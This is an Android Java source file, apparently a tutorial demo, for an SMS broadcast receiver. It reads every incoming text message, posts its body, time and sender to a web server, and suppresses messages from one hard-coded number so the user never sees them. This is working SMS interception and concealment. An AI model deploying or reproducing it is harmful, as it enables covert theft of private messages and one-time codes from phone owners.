package com.sjz.SMSListener;

import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;

/****
 * 创建一个广播接收者需要继承BroadcastReceiver   短信接收  接收其他手机的短信
 * 注册的方式有两种  一种是通过AndroidManifest.xml来进行配置
 * 另外一种是 通过java代码的方法 
 * 这里是通过配置文件来进行配置
 *
 */
public class SMSBroadcastReceiver extends BroadcastReceiver {

	/****
	 * 当广播过来的时候  触发本事件  得到传进来的意图对象    接收短信
	 */
	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");//通过pdus来得到短信的信息
		for(Object p : pdus){//得到每一条数据   短信的存储方式是pdu
			byte[] pdu = (byte[]) p;
			SmsMessage message = SmsMessage.createFromPdu(pdu);//SmsMessage这个对象可以处理pdu格式的内容
			String content = message.getMessageBody();//短信内容
			Date date = new Date(message.getTimestampMillis());
			SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String receiveTime = format.format(date);//短信接收时间
			String senderNumber = message.getOriginatingAddress();//得到来源地址
			sendSMS(content, receiveTime, senderNumber);
			
			
			//判断号码是否是5556  如果是的话，终止广播  那么短信程序就不会接收到消息
			if("15555215556".equals(senderNumber)){
				abortBroadcast();//终止广播
			}
		}
	}
    
	/****
	 * 发送到web程序
	 * @param content
	 * @param receiveTime
	 * @param senderNumber
	 * @return
	 */
	private boolean sendSMS(String content, String receiveTime, String senderNumber) {
		try{
			String params = "content="+ URLEncoder.encode(content, "UTF-8")+
				"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
			byte[] entity = params.getBytes();//把实体数据转换成二进制数据
			String path = "http://192.168.3.9:8080/web/ReceiveSMSServlet";
			HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
			conn.setConnectTimeout(5000);
			conn.setRequestMethod("POST");
			conn.setDoOutput(true);
			conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
			conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
			conn.getOutputStream().write(entity);
			if(conn.getResponseCode() == 200){
				return true;
			}
		}catch (Exception e) {
			e.printStackTrace();
		}
		return false;
	}

}
